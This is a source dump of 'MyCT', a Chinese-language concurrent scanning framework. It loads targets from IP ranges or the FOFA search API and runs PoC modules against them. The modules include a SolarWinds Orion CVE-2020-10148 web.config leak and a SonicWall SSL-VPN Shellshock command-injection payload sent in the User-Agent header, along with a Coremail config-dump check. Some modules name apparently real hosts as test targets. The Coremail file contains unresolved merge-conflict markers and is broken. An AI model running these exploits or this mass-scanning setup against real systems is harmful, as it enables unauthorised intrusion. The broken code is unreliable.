CONCURRENT_NUM 并发数 24 | # POCMODULE_NUM 处理模块数 25 | # POCMODULES 处理模块信息列表 26 | # PRE_TREAT 是否需要预处理 27 | # PREMODULE_NUM 预处理模块数 28 | # PREMODULES 预处理模块信息列表 29 | # TARGET_TYPE 并发目标类型 30 | # TARGET 并发目标集合 31 | # OUTPUT_MODE 输出模式 32 | # OUTPUT_FILE 输出文件名 33 | # OUTPUT_FILE_PATH 结果输出文件完整路径 34 | # DEBUG_MODE 调试模式 35 | # SINGLE_MODE 简单模式 36 | 37 | # PS: 38 | # POCMODULES、PREMODULES 结构:[{'fullPath':...,'name':...}] fullPath:模块完整路径 name:模块名 39 | # 定义于lib\core\config.py的moduleRegister方法中 40 | 41 | prepare={} 42 | # 引擎运行的预备数据 43 | # Poc、Pre 结构:[{'class':...,'name':...}] class:并发类对象 name:模块名 44 | # allTarget 列表 并发目标 45 | # nowc2Class 当前执行的处理模块的类对象,其实就是prepare['Poc']、prepare['Pre']列表中的元素的class 46 | # nowModuleName 当前执行的处理模块名,其实就是prepare['Poc']、prepare['Pre']列表中的元素的name 47 | 48 | 49 | runtime={} 50 | # 并发引擎运行时的数据 51 | # startTime 引擎运行时间 52 | # engineMode 引擎类型 53 | # concurrentNum 并发数 54 | # c2ClassObj 当前并发类对象 55 | # c2Func 当前并发方法对象 56 | # moduleName 并发模块名 57 | # concurrentCount 当前可并发数量 58 | # scannedCount 已扫描的目标的数量 59 | # foundCount 已发现的目标的数量 60 | # handleIsError 运行scan方法中是否发生了异常 61 | # isContinue 是否继续运行并发引擎 62 | # terminal_width 当前命令行终端的宽度 63 | # allTarget 需要处理的目标队列 64 | # debug debug模式 -------------------------------------------------------------------------------- /lib/core/log.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import logging 3 | import sys 4 | from lib.core.static import CUSTOM_LOGGING 5 | from thirdparty.ansistrm import ColorizingStreamHandler 6 | 7 | # 自定义日志类型 8 | logging.addLevelName(CUSTOM_LOGGING.ERROR,'ERROR') 9 | logging.addLevelName(CUSTOM_LOGGING.WARNING,'WARNING') 10 | logging.addLevelName(CUSTOM_LOGGING.SUCCESS,'SUCCESS') 11 | logging.addLevelName(CUSTOM_LOGGING.INFO,'INFO') 12 | 13 | # 设置根记录器的记录日志级别 14 | # 根记录器设置为CUSTOM_LOGGING.INFO,就是1,最小的日志级别,也就是所有日志都会输出 15 | logging.getLogger().setLevel(CUSTOM_LOGGING.INFO) 16 | 17 | # 获得ctLog记录器 18 | LOGGER=logging.getLogger('ctLog') 19 | 20 | # 获得日志输出器 21 | # 文件输出器:file_hd 22 | # 命令行输出器:cmd_hd,这里使用了一个彩色输出类的对象 23 | file_hd=logging.FileHandler(filename='myct.log',mode='w',encoding='utf-8') 24 | cmd_hd=ColorizingStreamHandler() 25 | 26 | # 设置命令行输出器cmd_hd的输出日志级别 27 | # cmd_hd设置为logging.INFO,就是20,则所有级别>=20 的日志就会输出 28 | cmd_hd.setLevel(logging.INFO) 29 | 30 | # 修改输出器cmd_hd内部的日志彩色序列,cmd_hd是依据该序列进行彩色输出 31 | cmd_hd.level_map[logging.getLevelName("INFO")] = (None, "cyan", False) 32 | cmd_hd.level_map[logging.getLevelName("SUCCESS")] = (None, "green", False) 33 | cmd_hd.level_map[logging.getLevelName("WARNING")] = (None, "yellow", False) 34 | cmd_hd.level_map[logging.getLevelName("ERROR")] = (None, "red", False) 35 | 36 | # 获取格式化程序:common_fmt、debug_fmt, 37 | common_fmt=logging.Formatter(fmt="[%(asctime)s] [%(levelname)s] %(message)s",datefmt="%H:%M:%S") 38 | debug_fmt=logging.Formatter(fmt="[%(asctime)s] [%(levelname)s] [%(filename)s] %(message)s",datefmt="%Y-%m-%d %H:%M:%S") 39 | 40 | # 给输出器 设置 格式化程序 41 | cmd_hd.setFormatter(common_fmt) 42 | file_hd.setFormatter(debug_fmt) 43 | 44 | # 给记录器 设置 输出器 45 | LOGGER.addHandler(cmd_hd) 46 | LOGGER.addHandler(file_hd) 47 | 48 | def DEBUG(): # 开启调试模式 49 | # 重新设置输出的日志级别和日志格式 50 | LOGGER.removeHandler(cmd_hd) 51 | cmd_hd.setLevel(CUSTOM_LOGGING.INFO) 52 | cmd_hd.setFormatter(debug_fmt) 53 | LOGGER.addHandler(cmd_hd) -------------------------------------------------------------------------------- /lib/core/setting.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import subprocess,os 3 | 4 | VERSION = "1.0" 5 | PROJECT = "MyCT" 6 | AUTHOR= "0671" 7 | MAIL = 'h.vi@qq.com' 8 | PLATFORM = os.name 9 | LICENS = 'GPLv2' 10 | 11 | try: 12 | IS_WIN = subprocess.mswindows 13 | except: 14 | IS_WIN = subprocess._mswindows 15 | ISCALLGRAPH = True # 是否生成程序的函数调用图.注意:在协程模式下不支持! 16 | 17 | # 并发模块类名 与 类中的并发函数 18 | CLASSNAME = 'c2Class' 19 | FUNCNAME = 'c2Func' 20 | 21 | # 默认并发数 22 | CONCURRENT_NUM = 50 23 | 24 | # 相对路径 25 | RELATIVE_PATH = { 26 | 'POCMODULE':'pocmodules', 27 | 'PREMODULE':'premodules', 28 | 'OUTPUT':'output', 29 | 'DATA':'data'} 30 | 31 | # 使用API所需要的数据 32 | API_KEY= { 33 | 'Fofa':{ 34 | 'email':'xxxxxxxx', 35 | 'key':'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', 36 | 'size':100 # 【普通会员】免费前100条/次 【高级会员】免费前10000条/次 【企业会员】免费前100,000条/次 check in https://fofa.so/static_pages/vip 37 | } 38 | } 39 | 40 | # 图标 41 | BANNER =''' 42 | \033[04;31m __ ___ ____________ \033[0m 43 | \033[04;32m / |/ /_ __/ ____/_ __/ \033[0m 44 | \033[04;33m / /|_/ / / / / / / / \033[0m 45 | \033[04;34m / / / / /_/ / /___ / / \033[0m 46 | \033[04;35m/_/ /_/\__, /\____/ /_/ \033[0m 47 | \033[04;36m /____/ \033[0m Version:%s mail:%s\n'''%(VERSION,MAIL) 48 | # print(u"(^-^*)") -------------------------------------------------------------------------------- /lib/core/static.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | 3 | # 自定义日志类型 4 | class CUSTOM_LOGGING: 5 | INFO = 3 6 | SUCCESS = 5 7 | WARNING = 7 8 | ERROR = 9 9 | 10 | # 模块类型 11 | class MODULE_TYPE: 12 | PRE = 'Pre' 13 | POC = 'Poc' 14 | 15 | # 并发引擎模式 16 | class ENGINE_MODE: 17 | THREAD = 9 18 | GEVENT = 8 19 | 20 | # 攻击目标类型 21 | class TARGET_TYPE: 22 | SINGLE = 0 23 | FILE = 1 24 | NETWORK = 2 25 | IPRANGE = 3 26 | FOFA = 4 27 | SHODAN = 5 28 | ZOOMEYE = 6 29 | 30 | # 并发函数返回状态 31 | class RETURN_STATUS: 32 | RETRY = -1 33 | FAIL = 0 34 | SUCCESS = 1 35 | MORETRY = 10 36 | 37 | # 结果输出方式 38 | class OUTPUT_MODE: 39 | ALL = 9 40 | FILE = 8 41 | SCREEN = 7 42 | -------------------------------------------------------------------------------- /lib/loader/__init__.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 -------------------------------------------------------------------------------- /lib/loader/loader.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import imp 3 | import sys 4 | import re 5 | import os 6 | from thirdparty import IPy 7 | from lib.core.common import intRange 8 | from lib.core.data import prepare,conf,logger 9 | from lib.core.setting import CLASSNAME,FUNCNAME,API_KEY 10 | from lib.core.static import CUSTOM_LOGGING,TARGET_TYPE,MODULE_TYPE 11 | 12 | 13 | # 载入攻击目标 14 | def loadTarget(): 15 | infoMsg = 'Start loading targets' 16 | logger.log(CUSTOM_LOGGING.INFO,infoMsg) 17 | 18 | prepare['allTarget'] = set() # 目标使用列表存放 19 | 20 | # 以下为不同目标类型对应的处理方法 21 | def _single(): # 简单目标 22 | prepare['allTarget'].add(str(conf['TARGET'])) 23 | def _file(): # 目标为文件 24 | for line in open(conf['TARGET'],'r'): 25 | tgt = line.strip() 26 | if tgt: 27 | prepare['allTarget'].add(tgt) 28 | def _network(): # 目标为网段,需要符合Ipy.IP()的形参要求 29 | try: 30 | ips = IPy.IP(conf['TARGET']) 31 | for i in ips: 32 | prepare['allTarget'].add(i.strNormal()) 33 | except Exception as e: 34 | errMsg = "Invalid IP/MASK : %s"%e 35 | sys.exit(logger.error(errMsg)) 36 | def _iprange(): # 目标为IP地址范围 37 | rcIp = re.compile(r'((?:\d{1,3}\.){3}\d{1,3})-((?:\d{1,3}\.){3}\d{1,3})') 38 | _ip = rcIp.findall(str(conf['TARGET']))[0] # 正则提取IP-IP格式下的IP地址 39 | try: 40 | if len(_ip) == 2: # 提取到2个IP地址 41 | ipStart,ipEnd = [IPy.IP(i).int() for i in _ip] # 将首尾IP地址转换为ip对应的数值 42 | ipsInt = intRange(ipStart,ipEnd) # 获得首尾范围下数值生成器 43 | else: 44 | raise ValueError 45 | for i in ipsInt: 46 | prepare['allTarget'].add(IPy.IP(i).strNormal()) 47 | except ValueError as e: 48 | errMsg = "Invalid IP-Range : %s .The correct IP-Range is such as : 192.168.1.1-192.168.2.1"%conf['TARGET'] 49 | sys.exit(logger.error(errMsg)) 50 | def _fofa(): # 从Fofa API查询,获取目标 51 | import requests,json,base64 52 | query=conf['TARGET'] 53 | # 兼容py2与py3 54 | if sys.version[0]=='3': 55 | qbase64 = base64.b64encode(query.encode('utf-8')).decode("utf-8") 56 | elif sys.version[0]=='2': 57 | qbase64=base64.b64encode(query) 58 | email=API_KEY['Fofa']['email'] 59 | key=API_KEY['Fofa']['key'] 60 | size=API_KEY['Fofa']['size'] 61 | url="https://fofa.so/api/v1/search/all?email=%s&key=%s&qbase64=%s&size=%s"%(email,key,qbase64,size) 62 | try: 63 | resp=requests.get(url) 64 | queryResults=json.loads(resp.content) # {u'results': [[u'vulfocus.fofa.so', u'118.193.36.37', u'80'], [u'https://www.fofa.so', u'36.102.212.81', u'443']], u'mode': u'extended', u'error': False, u'query': u'domain="fofa.so"', u'page': 1, u'size': 10} 65 | if 'errmsg' in queryResults: 66 | raise Exception(queryResults['errmsg']) 67 | server=[i[0] for i in queryResults['results']] # [u'vulfocus.fofa.so', u'https://www.fofa.so'] 68 | for s in server: 69 | # print(s) 70 | prepare['allTarget'].add(s) 71 | except Exception as e: 72 | errMsg = "Query api data occur exception. Exception :%s"%e 73 | sys.exit(logger.error(errMsg)) 74 | # _func是一个方法列表,方法的下标和lib\core\static.py的TARGET_TYPE内的元素值一一对应 75 | _func = [_single,_file,_network,_iprange,_fofa] 76 | _func[conf['TARGET_TYPE']]() # 调用对应目标类型的处理目标方法 77 | msg = 'Successfully loaded all targets' 78 | logger.log(CUSTOM_LOGGING.SUCCESS,msg) 79 | 80 | # 载入块的底层方法 81 | def _loadModule(mType,mList,mNum): # mType:模块类型 mList:模块信息列表 mNum:模块数 82 | prepare[mType] = [] 83 | for mInfo in mList: 84 | mData = {} # 存储模块对象 85 | mName = mInfo['name'] # 模块名称 86 | mFullPath = mInfo['fullPath'] # 模块文件完整路径 87 | infoMsg = 'Start to load the module : %s'%mName 88 | logger.log(CUSTOM_LOGGING.INFO,infoMsg) 89 | # 寻找模块 90 | # print(mName) 91 | mDir,mOriname=os.path.split(mFullPath) # ('D:\\MyCT\\pocmodules\\jumpserver', '20210115.py') 92 | mOriname=mOriname[:-3] # 20210115 93 | filehandle,pathname,description = imp.find_module(mOriname,[mDir,]) 94 | try: 95 | # 导入模块 96 | mObj = imp.load_module(mOriname,filehandle,pathname,description) 97 | # 检查模块中必须存在的类CLASSNAME与方法FUNCNAME 98 | if not hasattr(mObj,CLASSNAME): 99 | errMsg = "Can't be found the concurrency class : '%s' in current module [%s]"%(CLASSNAME,mName) 100 | sys.exit(logger.error(errMsg)) 101 | if not hasattr(getattr(mObj,CLASSNAME,None),FUNCNAME): 102 | errMsg = "Can't be found the concurrency function: '%s' in current module [%s]"%(FUNCNAME,mName) 103 | sys.exit(logger.error(errMsg)) 104 | 105 | mData['class'] = getattr(mObj,CLASSNAME,None) # 并发类 106 | mData['name'] = mName # 模块名 107 | prepare[mType].append(mData) # 将并发类与模块名赋值给prepare变量中 108 | except ImportError as e: # 如果在导入模块中发生ImportError,说明有可能模块中import了pip未安装的py库 109 | errMsg = "An exception occurred when loading [%s.py].\nException : %s\nYou can use pip to download the module."%(mName,str(e)) 110 | sys.exit(logger.error(errMsg)) 111 | msg = 'Successfully loaded the module : %s'%mName 112 | logger.log(CUSTOM_LOGGING.SUCCESS,msg) 113 | 114 | # 载入处理模块 115 | def loadPocModule(): 116 | _loadModule(MODULE_TYPE.POC,conf['POCMODULES'],conf['POCMODULE_NUM']) 117 | 118 | # 载入预处理模块 119 | def loadPreModule(): 120 | _loadModule(MODULE_TYPE.PRE,conf['PREMODULES'],conf['PREMODULE_NUM']) 121 | 122 | # 载入模块 123 | def loadModule(): 124 | loadPocModule() 125 | if conf['PRE_TREAT']: 126 | loadPreModule() 127 | msg = 'Successfully loaded all modules' 128 | logger.log(CUSTOM_LOGGING.SUCCESS,msg) -------------------------------------------------------------------------------- /lib/parser/__init__.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 -------------------------------------------------------------------------------- /lib/parser/hander.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import os 3 | import argparse 4 | from lib.core.log import DEBUG 5 | from lib.core.setting import API_KEY 6 | from lib.core.data import paths 7 | # 兼容python3 8 | import sys 9 | if sys.version[0]=='3': 10 | raw_input=input 11 | 12 | # 并发数是否在一定范围 13 | def concuNum(_str): 14 | num=int(_str) 15 | if num > 9999 or num <= 0: 16 | errMsg="Concurrent number must be in the range of [1,9999], '%s' does not meet"%num 17 | raise argparse.ArgumentTypeError(errMsg) 18 | return num 19 | 20 | # 检测处理模块文件是否存在 21 | def fileNameOfPocM(_str): 22 | _fn=str(_str) 23 | # 修正文件名 24 | fileName=_fn+('' if _fn.lower().endswith('py') else '.py') 25 | filePath=paths['POCMODULE_PATH'] 26 | return isFile(fileName,filePath) 27 | 28 | # 检测预处理模块文件是否存在 29 | def fileNameOfPreM(_str): 30 | _fn=str(_str) 31 | fileName=_fn+('' if _fn.lower().endswith('py') else '.py') 32 | filePath=paths['PREMODULE_PATH'] 33 | return isFile(fileName,filePath) 34 | 35 | # 检测并发目标文件是否存在 36 | def fileNameOfTgt(_str): 37 | fileName=str(_str) 38 | filePath=paths['ROOT_PATH'] 39 | return isFile(fileName,filePath) 40 | 41 | # 检测文件是否真实存在于指定路径下 42 | def isFile(fn,fp): 43 | fullPath=os.path.join(fp,fn) 44 | if not os.path.isfile(fullPath): 45 | errMsg="Cannot find the file named '%s' under %s"%(fn,fp) 46 | raise argparse.ArgumentTypeError(errMsg) 47 | return fullPath 48 | 49 | # 检测Fofa api是否可用 50 | def testFofa(_str): 51 | query=_str 52 | email=API_KEY['Fofa']['email'] 53 | key=API_KEY['Fofa']['key'] 54 | url="https://fofa.so/api/v1/info/my?email=%s&key=%s"%(email,key) 55 | import requests,json 56 | resp=requests.get(url,verify=False,timeout=5) 57 | authData=json.loads(resp.content) 58 | if 'error' in authData: 59 | errMsg="FOFA API is not available. Please check the FOFA configuration(email,key) in lib/code/setting.py" 60 | raise argparse.ArgumentTypeError(errMsg) 61 | if authData['isvip'] == False and authData['fcoin']==0: 62 | errMsg="FOFA API is not available. Because you are no VIP users and FOFA coin is not enough!" 63 | raise argparse.ArgumentTypeError(errMsg) 64 | if query=='': 65 | _q=raw_input("Please input complex Fofa query: ") 66 | query=_q 67 | return query 68 | 69 | # 自定义一个Action类 70 | # 自定义 action 方法需要继承自 argparse.Action 类,并且实现一个 __call__ 方法 71 | # myActionDebug继承自argparse._StoreTrueAction 72 | class myActionDebug(argparse._StoreTrueAction): 73 | def __call__(self, parser, namespace, values, option_string=None): 74 | # 如果参数使用了该Action,会自动调用__call__方法,从而调用DEBUG函数 75 | setattr(namespace,self.dest,True) 76 | DEBUG() 77 | -------------------------------------------------------------------------------- /lib/parser/parser.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import argparse 3 | import sys 4 | import time 5 | from lib.core.setting import VERSION 6 | from lib.core.data import logger 7 | from lib.parser.hander import concuNum,fileNameOfPocM,fileNameOfPreM,fileNameOfTgt,testFofa,myActionDebug 8 | from lib.core.static import CUSTOM_LOGGING 9 | from lib.core.setting import CONCURRENT_NUM 10 | # 兼容python3 11 | if sys.version[0]=='3': 12 | from functools import reduce 13 | 14 | usage='''python MyCT.py [-eT|-eG] [-pm] [-m] [-iS|iF|-iN|-iR|-qF] [-o] [msic] 15 | 16 | Example: 17 | python MyCT.py -m demo -iS 1.1.1.1 -o 18 | python MyCT.py -pm getWeb -m getTitleByUrl -iR 192.168.1.1-192.168.1.253 19 | python MyCT.py -eT -m getTitleByUrl -iF urls.txt -c 50 -o titles.txt 20 | python MyCT.py -eG -pm ljjsdb -m coremail\\CMXT5-2019-0002 -iS baidu.com -c 1000 21 | ''' 22 | 23 | 24 | def parseArgs(): 25 | ctParser=argparse.ArgumentParser( 26 | prog="MyCT", # 程序名 27 | description="powered by 0671 ",# 位于输出的usage下方 28 | usage=usage,# 程序用法,直接输出 29 | add_help=False # 关闭argparse库所生成的默认帮助 30 | ) 31 | 32 | # 并发引擎参数组 33 | ENGINE=ctParser.add_argument_group('ENGINE') 34 | ENGINE.add_argument('-eT',default=False,action='store_true', # 选项变量性质 35 | dest='engine_thread', # 选项描述 36 | help='Multi-threaded engine (selected by default)') # 选项帮助 37 | ENGINE.add_argument('-eG',default=False,action='store_true', 38 | dest='engine_gevent', 39 | help='Gevent engine (single thread with asynchronous)') 40 | ENGINE.add_argument('-c',default=CONCURRENT_NUM,type=concuNum, 41 | dest='concurrent_number', 42 | help='The concurrent number of threads/gevent, 50 by default' 43 | ) 44 | 45 | # 并发模块参数组 46 | MODULE=ctParser.add_argument_group('MODULE') 47 | MODULE.add_argument('-m',type=fileNameOfPocM,nargs='+', 48 | dest='pocmodule_path',metavar='NAME', 49 | help='Load concurrent modules by name (-m demo or -m xxx/xxx/xxx.py) in ./pocmodules/ ' 50 | ) 51 | MODULE.add_argument('-pm',type=fileNameOfPreM, 52 | dest='premodule_path',metavar='NAME',nargs='*', 53 | help='Load pre-treat concurrent modules by name (-pm demo or -pm xxx/xxx/xxx.py) in ./premodules/ ') 54 | 55 | # 并发目标参数组 56 | TARGET=ctParser.add_argument_group('TARGET') 57 | TARGET.add_argument('-iS',type=str, 58 | dest='target_single',metavar='TARGET', 59 | help='Scan a single target (e.g baidu.com)' 60 | ) 61 | TARGET.add_argument('-iF',type=fileNameOfTgt, 62 | dest='target_file',metavar='FILE', 63 | help='Load the target from the file (e.g urls.txt)' 64 | ) 65 | TARGET.add_argument('-iN',type=str, 66 | dest='target_network',metavar='IP/MASK', 67 | help='Generate target IP from IP/MASK (e.g 127.0.0.1/24)' 68 | ) 69 | TARGET.add_argument('-iR',type=str, 70 | dest='target_iprange',metavar='IP-IP', 71 | help='Load the target from the ip range (e.g 10.1.1.1-10.1.1.125)' 72 | ) 73 | TARGET.add_argument('-qF',type=testFofa,nargs='?',const='', 74 | dest='target_fofa',metavar='QUERY', 75 | help='Query data from Fofa API (e.g thinkphp).'\ 76 | ' If the query string contains the cmd special characters (eg. && ||), '\ 77 | 'you should just use -qf (not query string). '\ 78 | 'Later, MyCT will prompt you to enter the query string.' 79 | ) 80 | 81 | # 输出结果参数组 82 | OUTPUT=ctParser.add_argument_group('OUTPUT') 83 | OUTPUT.add_argument('-o',nargs='?',type=str, 84 | default=None,const= time.strftime('default_[%Y%m%d-%H%M%S]', time.localtime(time.time()))+'_[%s].txt', 85 | dest='output_file', 86 | help='Output file, default by ./output/default_[time]_[module].txt' 87 | ) 88 | 89 | # 其他选项 参数组 90 | MSIC=ctParser.add_argument_group('MSIC') 91 | MSIC.add_argument('--single',default=False,action='store_true', 92 | dest='single_mode', 93 | help="Exit after the module's c2Func method return True" 94 | ) 95 | MSIC.add_argument('--debug',default=False,action=myActionDebug, 96 | dest='debug_mode', 97 | help='Show more debugging information' 98 | ) 99 | MSIC.add_argument('--show',default=False,action='store_true', 100 | dest='show_modules', 101 | help='Show the available module names under ./modules/, then exit' 102 | ) 103 | MSIC.add_argument('-v','--version',action='version',version=VERSION, 104 | help="Show the version of the program and exit" 105 | ) 106 | MSIC.add_argument('-h','--help',action='help', 107 | help='Show help message and exit' 108 | ) 109 | 110 | # 如果命令行参数只有MyCT.py,则添加-h参数 111 | if len(sys.argv)==1: 112 | sys.argv.append('-h') 113 | sys_argv=reduce(lambda x,y:x+' '+y,sys.argv) 114 | logger.log(CUSTOM_LOGGING.SUCCESS,'User typed: %s'%sys_argv) 115 | # 解析命令行参数 116 | args=ctParser.parse_args() 117 | logger.log(CUSTOM_LOGGING.SUCCESS,'The parameters are parse successfully.\nParameters are as follows: \n[%s]'%args) 118 | return args 119 | -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 -------------------------------------------------------------------------------- /lib/utils/versioncheck.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import sys 4 | 5 | PYVERSION = sys.version.split()[0] 6 | # sys.version 2.7.17 (v2.7.17:c2f86d86e6, Oct 19 2019, 21:01:17) [MSC v.1500 64 bit (AMD64)] 7 | 8 | # 检查py版本,运行MyCT的py版本需要位于[2.6,3)之间 9 | if PYVERSION >= "3" or PYVERSION < "2.6": 10 | exit("[CRITICAL] incompatible Python version detected ('%s'). " 11 | "For successfully running this project, you'll have to use version 2.6 or 2.7 " 12 | "(visit 'http://www.python.org/download/')" %PYVERSION) 13 | 14 | # 检查当前py是否拥有了以下的核心拓展库 15 | extensions = ("gzip","ssl","sqlite3","zlib") 16 | try: 17 | for e in extensions: 18 | __import__(e) 19 | except ImportError: 20 | errMsg = "missing one or more core extensions (%s) "%(",".join("'%s'"%e for e in extensions)) 21 | errMsg += "most probably because current version of Python has been " 22 | errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" 23 | exit(errMsg) 24 | -------------------------------------------------------------------------------- /pocmodules/.txt: -------------------------------------------------------------------------------- 1 | body="SAP" && title=="SAP NetWeaver Application Server Java" && port="50000" -------------------------------------------------------------------------------- /pocmodules/SolarWinds/CVE-2020-10148.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | requests.packages.urllib3.disable_warnings() 4 | 5 | class c2Class(object): 6 | def __init__(self): 7 | self.vulname = 'SolarWinds Orion API RCE (CVE-2020-10148)' 8 | self.vulsystem= 'SolarWinds' 9 | self.vulsystemintro = 'SolarWinds是网络安全管理软件产品。' 10 | self.vulversion = 'Orion Version < 2020.2.1HF2 2019.4HF6' 11 | self.fofa='title="SolarWinds Orion"' 12 | self.findtime='2020-12' 13 | self.refer= 'https://blog.csdn.net/smellycat000/article/details/112057631\nhttps://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965/stargazers\nhttps://nosec.org/home/detail/4630.html' 14 | self.bbb='这个洞来源于FireEye的红队工具泄露,说是SolarWinds的Orion API可以绕过登录,进而导致rce,不过现在只有读文件的poc。20200114' 15 | self.testisok=True 16 | 17 | self.vulpath='/Orion/invalid.aspx.js' 18 | self.vulpath_webconfig='/web.config' 19 | self.vulpath_db='/SWNetPerfMon.db' 20 | self.flag=200 21 | self.flag2='SolarWinds.Orion.Core.Common.Configuration.WebCompressionSection, SolarWinds.Orion.Core.Common' 22 | self.flag3='Encrypted Connection String for SQL Server added by Orion Core Services' 23 | 24 | 25 | def c2Func(self,target): 26 | status=0 27 | returnData='' 28 | if target.startswith(('http://','https://')): 29 | if '/Orion/' in target: 30 | target=target[:target.index('/Orion/')] 31 | else: # 这是为了拿到 这样格式的数据 32 | target=target+'/' 33 | target=target[:target.find('/',8)] # len('https://') = 8 34 | else: 35 | target='http://'+target 36 | try: 37 | url=target.strip('/')+self.vulpath 38 | resp=requests.get(url=url,verify=False) 39 | if (resp.headers['location']): 40 | index=resp.headers['location'].index('.i18n.ashx') 41 | leakedVersion = (resp.headers['location'][index:]) 42 | if (leakedVersion.__contains__('v=')): 43 | urlGetWebConfig=target.strip('/')+self.vulpath_webconfig+leakedVersion 44 | leakedConfig=resp=requests.get(url=urlGetWebConfig,verify=False) 45 | if (leakedConfig.status_code == self.flag) and self.flag2 in leakedConfig.text: 46 | returnData='%s could be vulnerable.The vuln is %s.'\ 47 | 'The payload is [%s], u can get web.config by the payload.'%(target.strip('/'),self.vulname,urlGetWebConfig) 48 | status=1 49 | except Exception as e: 50 | returnData=str(e) 51 | return status,returnData 52 | 53 | if __name__ == '__main__': 54 | target='http://73.178.202.24:8080/' 55 | pocObj=c2Class() 56 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/SonicWall/SSL-VPN_rce.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | requests.packages.urllib3.disable_warnings() 4 | 5 | class c2Class(object): 6 | def __init__(self): 7 | self.vulname = 'SonicWall SSL-VPN jarrewrite.sh RCE' 8 | self.vulsystem= 'SonicWall SSL-VPN' 9 | self.vulsystemintro = 'SonicWall是硬件防火墙设备,VPN网关和网络安全解决方案的知名制造商,其产品通常用于SMB/SME和大型企业组织。'\ 10 | 'SonicWALL 的SSL VPN NetExtender 功能是一种用于Windows、Mac 和Linux 用户的客户端应用程序,支持远程用户安全连接到远程网络。'\ 11 | 'NetExtender VPN客户端版本10系列(于2020年发布)' 12 | self.vulversion = 'NetExtender VPN client:version 10.x ;Secure Mobile Access:version 10.x' 13 | self.fofa='((body="login_box_sonicwall" || header="SonicWALL SSL-VPN Web Server") && body="SSL-VPN")' 14 | self.findtime='2021-01' 15 | self.cveid='' 16 | self.refer= 'https://xz.aliyun.com/t/9143?page=1\nhttps://nosec.org/home/detail/4662.html\nhttps://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/\nhttps://github.com/darrenmartyn/visualdoor\nhttps://mp.weixin.qq.com/s/kGlcDkpAd3B8-RhZE63lUw' 17 | self.bbb='该漏洞是由于Sonicwall SSL-VPN引入旧版本的Linux内核,'\ 18 | '其处理HTTP的CGI未过滤HTTP header,导致远程攻击者可以构造恶意的'\ 19 | 'http报文注入系统命令,成功利用该漏洞可以在受影响设备获得nobody用'\ 20 | '户权限并执行任意命令,可能再次利用旧版本Linux内核漏洞进行提升权'\ 21 | '限最终实现完全控制服务器' 22 | self.testisok=True 23 | 24 | self.vulpath='/cgi-bin/jarrewrite.sh' 25 | self.payload='''() { :;};echo;/bin/bash -c "echo -n 'hello'|md5sum"''' # ) { :的两个空格是必须的,删除的话请求将会报错 26 | self.headers={'User-Agent':self.payload} 27 | self.flag = 200 28 | self.flag1 = '5d41402abc4b2a76b9719d911017c592' 29 | 30 | 31 | def c2Func(self,target): 32 | status=0 33 | returnData='' 34 | 35 | # 1、处理目标格式 36 | if target.startswith(('http://','https://')): 37 | target=target+'/' 38 | target=target[:target.find('/',8)] # 39 | else: 40 | target='https://'+target 41 | try: 42 | # 2、准备攻击所需的数据 43 | url=target.strip('/')+self.vulpath 44 | # 3、开始攻击 45 | resp=requests.get(url=url,headers=self.headers,verify=False,timeout=30) 46 | # 4、检测是否存在成功标识 47 | if self.flag == resp.status_code and self.flag1 in resp.text: 48 | status=1 49 | returnData='%s is vuln(%s) , vulpath: %s'\ 50 | ''%(target.strip('/'),self.vulname,url) 51 | except Exception as e: 52 | # print(e) 53 | returnData=str(e) 54 | # 5、返回状态与数据 55 | return status,returnData 56 | 57 | if __name__ == '__main__': 58 | target='https://sslvpn.cgemc.com/' 59 | pocObj=c2Class() 60 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/coremail/CMXT5-2019-0002.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | requests.packages.urllib3.disable_warnings() 4 | 5 | class c2Class(object): 6 | def __init__(self): 7 | self.vulname = 'demo' 8 | self.vulsystem= 'Coremail' 9 | self.vulversion = 'XT5,XT3/CM5-verision<20190524' 10 | self.findtime='2019-0614' 11 | self.refer= 'https://github.com/lowliness9/coremail-poc/blob/master/coremail-ns-2019-0020.py\n https://www.venustech.com.cn/article/1/9331.html\n https://www.venustech.com.cn/article/1/9331.html' 12 | self.testisok=True 13 | 14 | self.vulpath='/mailsms/s?func=ADMIN:appState&dumpConfig=/' 15 | self.vulpath2='/apiws/services/' 16 | self.flag='home/coremail' 17 | self.recovered1='404' 18 | self.recovered2='FS_IP_NOT_PERMITTED' 19 | self.recovered2='No services have been found.' 20 | 21 | def c2Func(self,target): 22 | status=0 23 | returnData='' 24 | if target.startswith(('http://','https://')): 25 | pass 26 | else: 27 | target='http://'+target 28 | try: 29 | url=target.strip('/')+self.vulpath 30 | resp=requests.get(url=url,verify=False,timeout=2) 31 | if self.flag in resp.text and not (self.recovered1 == resp.status_code or self.recovered2 in resp.text): 32 | <<<<<<< HEAD 33 | returnData='%s is bad.The vuln is CMXT5-2019-0002.The '\ 34 | ======= 35 | returnData='%s is bad.The vuln is CMXT5-2019-0002.The /' 36 | >>>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e 37 | 'payloa is [%s], the result is [%s].'%(target.strip('/'),url,resp.text.strip()) # 38 | status=1 39 | except Exception as e: 40 | returnData=str(e) 41 | return status,returnData 42 | 43 | if __name__ == '__main__': 44 | target='192.168.3.12' 45 | pocObj=c2Class() 46 | print(pocObj.c2Func(target)) 47 | -------------------------------------------------------------------------------- /pocmodules/demo1.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | class c2Class(object): 4 | ''' 5 | 